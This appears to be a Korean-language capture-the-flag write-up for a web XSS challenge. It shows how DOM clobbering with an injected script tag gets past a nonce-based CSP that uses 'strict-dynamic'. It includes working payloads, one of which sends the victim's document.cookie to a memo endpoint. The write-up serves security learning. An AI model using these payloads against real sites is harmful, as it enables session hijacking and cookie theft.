반응형
문제풀이
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
nonce = os.urandom(16).hex()
return response
csp를 보면 script-src
에서 strict-dynamic
이 존재한다.
strict-dynamic
는 동적으로 스크립트를 로드하는 것을 허용한다는 의미다. 사실 이 문제는 base에 대한 CSP 설정이 없어서 base 태그를 활용해도 XSS가 가능하지만 DOM XSS로 해결해보겠다.
<script nonce={{ nonce }}>
window.addEventListener("load", function() {
var name_elem = document.getElementById("name");
name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
});
</script>
{{ param | safe }}
<pre id="name"></pre>
html 파일을 보면 id가 name인 태그를 대상으로 innerHTML 수행한다. 삽입되는 데이터는 URL로 전달되는 fragment다.
URL flagment는 URL에서 # 뒷 부분을 의미한다.
html 코드를 다시보면, pre 태그보다 param으로 전송한 fragment 데이터가 먼저 로드된다. 따라서 pre 태그와 같은 id로 스크립트 태그를 frament로 작성해서 전송하면 DOM Clobbering이 발생한다.
마침 CSP에서 strict-dynamic
가 적용됐고 내부에서 동적으로 로드하는 스크립트는 허용된다.
<script id='name'></script>#alert(1)//
<script id='name'></script>#location.href='http://127.0.0.1:8000/memo?memo='+document.cookie//
payload를 위와 같이 구성할 수 있다.
DOM Clobbering으로 flagment로 전송한 데이터가 <script>
태그 내부에 로드된다.
<script id='name'>location.href='http://127.0.0.1:8000/memo?memo='+document.cookie</script>
즉, 위와 같은 스크립트가 실행되고 공격 대상의 쿠키를 memo에 저장할 수 있다.
반응형